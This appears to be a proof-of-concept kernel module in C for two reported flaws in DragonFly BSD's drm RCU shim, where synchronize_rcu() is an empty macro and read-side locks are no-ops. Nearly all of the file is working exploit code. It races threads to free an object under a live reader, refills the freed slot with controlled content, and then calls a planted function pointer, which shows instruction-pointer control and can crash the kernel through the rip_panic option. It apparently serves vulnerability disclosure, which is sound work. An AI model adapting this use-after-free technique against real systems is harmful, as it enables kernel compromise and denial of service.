/*
 * DF-5125 / DF-5126 PoC -- DragonFly drm RCU shim grace-period defects.
 *
 * DF-5125: synchronize_rcu() expands to NOTHING (rcupdate.h:94) -- the
 *          canonical Linux teardown (swap pointer; synchronize_rcu();
 *          kfree(old)) frees the object immediately while a reader on
 *          another cpu is provably still inside its read-side critical
 *          section.
 *
 * DF-5126: rcu_read_lock()/rcu_read_unlock() are cpu_ccfence() no-ops
 *          (rcupdate.h:46-56 -> preempt.h:37-38), so a reader may be
 *          descheduled (or, as modeled here, block) inside its critical
 *          section for longer than the shim's fixed 1-second grace delay
 *          (linux_rcu.c:81-83 `if (delta < hz) break;`).  The REAL
 *          drm.ko __kfree_rcu() delay line then kfrees the object out
 *          from under the live reader.
 *
 * Every RCU primitive exercised below (rcu_read_lock, rcu_dereference,
 * rcu_assign_pointer, synchronize_rcu, __kfree_rcu, kzalloc/kfree) is
 * the SHIPPED shim code; only the reader/writer loops are local.
 * Requires drm.ko to be loaded (provides __kfree_rcu/call_rcu, M_DRM).
 *
 * Writer/runner thread pinned to cpu 0, reader thread pinned to cpu 2
 * (real cross-CPU concurrency; handshakes are tsleep-polled, never
 * spun, so the two threads cannot starve each other).
 *
 * Stages:
 *   A  contract test for synchronize_rcu()   -> DF-5125
 *   B  delay-line test with __kfree_rcu()    -> DF-5126
 *   C  on poison detection the reader calls v->v_fp that the reclaim
 *      wrote into the freed object: benign canary by default;
 *      rcu_race.rip_panic=1 points it at an unmapped kernel address
 *      -> fatal trap (RIP control through the freed object).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/malloc.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <machine/atomic.h>
#include <machine/cpufunc.h>

#include <linux/rcupdate.h>
#include <linux/slab.h>

struct victim {
	uint64_t	v_magic;
	void		(*v_fp)(struct victim *);
	uint64_t	v_pad[5];
};
#define VSZ		(sizeof(struct victim))
#define MAGIC_OK	0x4b4b4b4b4b4b4b4bULL
#define MAGIC_POISON	0x7e706f69736f6e21ULL	/* "~poison!" */
#define WILD_FP		0xffffffff52170000UL	/* canonical, unmapped */

static struct victim *gp;

static volatile int handshake;	/* 0=idle 1=armed 2=reader-in-cs 3=no-ptr */
static volatile int writer_done;
static volatile int mode;	/* 0=idle 1=stage A 2=stage B */
static volatile int stopflag;
static volatile int pending_rounds;
static volatile int pending_b_rounds;

static struct thread *wr_td;
static struct thread *rd_td;

static uint64_t stageA_runs, stageA_uaf_hits;
static uint64_t stageB_runs, stageB_uaf_hits;
static uint64_t canary_calls;
static uint64_t reader_sees_poison;
int	df_rip_panic;
static int rcu_stages = 3;	/* 1=A only, >=2=A+B (tunable) */

TUNABLE_INT("rcu_race.stages", &rcu_stages);

/*
 * Wait until handshake == want, sleeping (never spinning) so the pinned
 * reader on the other cpu always gets cpu time.
 */
static int
wait_handshake(int want)
{
	int t;

	for (t = 0; t < 20; t++) {		/* <= 2s */
		if (handshake == want)
			return (0);
		tsleep(&handshake, 0, "rcwhs", 1);
	}
	return (handshake == want ? 0 : 1);
}

static void
canary(struct victim *v)
{
	++canary_calls;
	kprintf("rcu_race: RIP-CONTROL CANARY executed (fp=%p) through "
	    "the freed object\n", v->v_fp);
}

/*
 * Reader thread, pinned to cpu 2.  Mirrors the canonical Linux read-side
 * pattern used all over drm (amdgpu_bo_list_get, dma_fence_get_rcu,
 * drm_sched_fence refcounting, ...):
 *
 *	rcu_read_lock();
 *	v = rcu_dereference(gp);
 *	...use v...
 *	rcu_read_unlock();
 */
static void
reader_thread(void *arg __unused)
{
	struct victim *v;
	u_long i;

	while (!stopflag) {
		if (mode == 0) {
			tsleep(&mode, 0, "rcrid", 1);
			continue;
		}
		rcu_read_lock();
		v = rcu_dereference(gp);
		if (v) {
			atomic_swap_int(&handshake, 2);

			if (mode == 1) {
				/*
				 * DF-5125: plain spinning reader -- legal
				 * under ANY RCU implementation.  Keep
				 * reading the object for up to ~1s or
				 * until the writer releases us.
				 */
				for (i = 0; i < 100000000UL && !writer_done; i++) {
					if (v->v_magic != MAGIC_OK) {
						++stageA_uaf_hits;
						if (v->v_magic == MAGIC_POISON &&
						    (v->v_fp == canary ||
						     df_rip_panic)) {
							++reader_sees_poison;
							v->v_fp(v);
						}
						break;
					}
					cpu_ccfence();
				}
			} else if (mode == 2) {
				/*
				 * DF-5126: block 2s INSIDE the read-side
				 * CS.  The shim allows this because
				 * preempt_disable() is only a compiler
				 * fence; an involuntarily preempted
				 * reader has exactly the same effect.
				 */
				tsleep(&mode, 0, "rcub", 2 * hz);
				if (v->v_magic != MAGIC_OK) {
					++stageB_uaf_hits;
					if (v->v_magic == MAGIC_POISON &&
					    (v->v_fp == canary ||
					     df_rip_panic)) {
						++reader_sees_poison;
						v->v_fp(v);
					}
				}
			}
		} else {
			atomic_swap_int(&handshake, 3);	/* pointer gone */
		}
		rcu_read_unlock();
		mode = 0;
		tsleep(&mode, 0, "rcrsl", 1);
	}
	lwkt_exit();
}

static void
stage_a_round(void)
{
	struct victim *v1, *v2, *pz[8];
	int j;

	v1 = kzalloc(VSZ, GFP_KERNEL);
	v2 = kzalloc(VSZ, GFP_KERNEL);
	v1->v_magic = MAGIC_OK;
	v2->v_magic = MAGIC_OK;

	rcu_assign_pointer(gp, v1);
	writer_done = 0;
	atomic_swap_int(&handshake, 1);
	mode = 1;
	wakeup(&mode);

	if (wait_handshake(2) != 0) {		/* reader inside its CS */
		kprintf("rcu_race: stage A handshake FAILED\n");
		mode = 0;
		kfree(v1);
		kfree(v2);
		gp = NULL;
		return;
	}
	DELAY(10 * 1000);			/* reader is now spinning */

	/*
	 * Canonical Linux teardown sequence.
	 */
	rcu_assign_pointer(gp, v2);
	synchronize_rcu();			/* <-- empty macro! */
	kfree(v1);				/* immediate, under reader */

	/* reclaim the freed slot with controlled content (same cpu, LIFO) */
	for (j = 0; j < 8; j++) {
		pz[j] = kzalloc(VSZ, GFP_KERNEL);
		pz[j]->v_magic = MAGIC_POISON;
		pz[j]->v_fp = df_rip_panic ? (void *)WILD_FP : canary;
	}

	writer_done = 1;
	tsleep(&writer_done, 0, "rcafl", 2 * hz);	/* let reader finish */
	for (j = 0; j < 8; j++)
		kfree(pz[j]);
	kfree(v2);
	gp = NULL;
	++stageA_runs;
}

static void
stage_b_round(void)
{
	struct victim *v1;
	struct victim *pz[32];
	int i;

	v1 = kzalloc(VSZ, GFP_KERNEL);
	v1->v_magic = MAGIC_OK;

	rcu_assign_pointer(gp, v1);
	writer_done = 0;
	atomic_swap_int(&handshake, 1);
	mode = 2;
	wakeup(&mode);

	if (wait_handshake(2) != 0) {
		kprintf("rcu_race: stage B handshake FAILED\n");
		mode = 0;
		kfree(v1);
		gp = NULL;
		return;
	}
	/* reader now tsleeps 2s INSIDE its read-side CS */

	/*
	 * Delayed reclamation through the REAL drm.ko shim: __kfree_rcu()
	 * queues on this cpu; the shim's callout kfrees after >= 1s.
	 */
	rcu_assign_pointer(gp, NULL);
	__kfree_rcu(v1);

	/* let the shim's >=1s grace line fire while the reader still sleeps */
	tsleep(&stage_b_round, 0, "rcbgr", (hz * 14) / 10);

	/* reclaim: same cpu, same zone, poisoned */
	for (i = 0; i < 32; i++) {
		pz[i] = kzalloc(VSZ, GFP_KERNEL);
		pz[i]->v_magic = MAGIC_POISON;
		pz[i]->v_fp = df_rip_panic ? (void *)WILD_FP : canary;
	}

	writer_done = 1;
	tsleep(&writer_done, 0, "rcbfl", 2 * hz);	/* reader woke at 2s */
	for (i = 0; i < 32; i++)
		kfree(pz[i]);
	gp = NULL;
	++stageB_runs;
}

static void
runner_thread(void *arg __unused)
{
	int i;

	kprintf("rcu_race: starting on cpu %d (hz=%d) DF-5125 stage A x5\n",
	    mycpuid, hz);
	for (i = 0; i < 5; i++)
		stage_a_round();
	kprintf("rcu_race: DF-5125 stage A done: runs=%ju uaf_hits=%ju "
	    "poison_reads=%ju canary=%ju\n",
	    (uintmax_t)stageA_runs, (uintmax_t)stageA_uaf_hits,
	    (uintmax_t)reader_sees_poison, (uintmax_t)canary_calls);

	if (rcu_stages >= 2) {
		kprintf("rcu_race: DF-5126 stage B x3 (reader blocks 2s "
		    "inside CS)\n");
		for (i = 0; i < 3; i++)
			stage_b_round();
		kprintf("rcu_race: DF-5126 stage B done: runs=%ju uaf_hits=%ju "
		    "poison_reads=%ju canary=%ju\n",
		    (uintmax_t)stageB_runs, (uintmax_t)stageB_uaf_hits,
		    (uintmax_t)reader_sees_poison, (uintmax_t)canary_calls);
	}
	kprintf("rcu_race: initial run complete (sysctl rcu_race.more=N "
	    "for more stage-A rounds, rcu_race.rip_panic=1 for wild-fp)\n");

	while (!stopflag) {
		tsleep(&pending_rounds, 0, "rcrrn", 1 * hz);
		while (pending_b_rounds > 0 && !stopflag) {
			--pending_b_rounds;
			stage_b_round();
			kprintf("rcu_race: extra stage B round: runs=%ju "
			    "uaf_hits=%ju canary=%ju rip_panic=%d\n",
			    (uintmax_t)stageB_runs,
			    (uintmax_t)stageB_uaf_hits,
			    (uintmax_t)canary_calls, df_rip_panic);
		}
		while (pending_rounds > 0 && !stopflag) {
			--pending_rounds;
			stage_a_round();
			kprintf("rcu_race: extra stage A round: runs=%ju "
			    "uaf_hits=%ju canary=%ju rip_panic=%d\n",
			    (uintmax_t)stageA_runs,
			    (uintmax_t)stageA_uaf_hits,
			    (uintmax_t)canary_calls, df_rip_panic);
		}
	}
	lwkt_exit();
}

static int
sysctl_more(SYSCTL_HANDLER_ARGS)
{
	int error, val = 0;

	error = SYSCTL_OUT(req, &val, sizeof(val));
	if (error || !req->newptr)
		return (error);
	error = SYSCTL_IN(req, &val, sizeof(val));
	if (error)
		return (error);
	if (val > 0) {
		pending_rounds = val;
		wakeup(&pending_rounds);
	}
	return (0);
}

static int
sysctl_moreb(SYSCTL_HANDLER_ARGS)
{
	int error, val = 0;

	error = SYSCTL_OUT(req, &val, sizeof(val));
	if (error || !req->newptr)
		return (error);
	error = SYSCTL_IN(req, &val, sizeof(val));
	if (error)
		return (error);
	if (val > 0) {
		pending_b_rounds = val;
		wakeup(&pending_rounds);
	}
	return (0);
}

SYSCTL_NODE(, OID_AUTO, rcu_race, CTLFLAG_RW, 0, "rcu race poc");

SYSCTL_UINT(_rcu_race, OID_AUTO, rip_panic, CTLFLAG_RW,
    &df_rip_panic, 0, "point reclaimed v_fp at an unmapped address");
SYSCTL_UQUAD(_rcu_race, OID_AUTO, stageA_runs, CTLFLAG_RD,
    &stageA_runs, 0, "");
SYSCTL_UQUAD(_rcu_race, OID_AUTO, stageA_uaf, CTLFLAG_RD,
    &stageA_uaf_hits, 0, "");
SYSCTL_UQUAD(_rcu_race, OID_AUTO, stageB_runs, CTLFLAG_RD,
    &stageB_runs, 0, "");
SYSCTL_UQUAD(_rcu_race, OID_AUTO, stageB_uaf, CTLFLAG_RD,
    &stageB_uaf_hits, 0, "");
SYSCTL_UQUAD(_rcu_race, OID_AUTO, poison_reads, CTLFLAG_RD,
    &reader_sees_poison, 0, "");
SYSCTL_UQUAD(_rcu_race, OID_AUTO, canary, CTLFLAG_RD,
    &canary_calls, 0, "");
SYSCTL_PROC(_rcu_race, OID_AUTO, more, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_more, "I", "run N extra stage-A rounds");
SYSCTL_PROC(_rcu_race, OID_AUTO, moreb, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_moreb, "I", "run N extra stage-B rounds");

/*
 * Disassembly witness: on the vulnerable shim this function is a single
 * ret (kfree(NULL) optimized away, synchronize_rcu() generates no code).
 */
void	df_sync_witness(void);

void
df_sync_witness(void)
{
	synchronize_rcu();
	kfree((void *)0);
}

static int
rcu_race_load(struct module *m __unused, int what, void *arg __unused)
{
	int error;

	switch (what) {
	case MOD_LOAD:
		stopflag = 0;
		error = lwkt_create(runner_thread, NULL, &wr_td,
				    NULL, 0, 0, "rcu_run");
		if (error)
			return (error);
		error = lwkt_create(reader_thread, NULL, &rd_td,
				    NULL, 0, 2, "rcu_read");
		if (error) {
			stopflag = 1;
			return (error);
		}
		break;
	case MOD_UNLOAD:
		stopflag = 1;
		wakeup(&pending_rounds);
		wakeup(&mode);
		tsleep(&stopflag, 0, "rcunl", 3 * hz);
		break;
	}
	return (0);
}

MODULE_DEPEND(rcu_race, drm, 1, 1, 1);
static moduledata_t rcu_race_mod = { "rcu_race", rcu_race_load, NULL };
DECLARE_MODULE(rcu_race, rcu_race_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);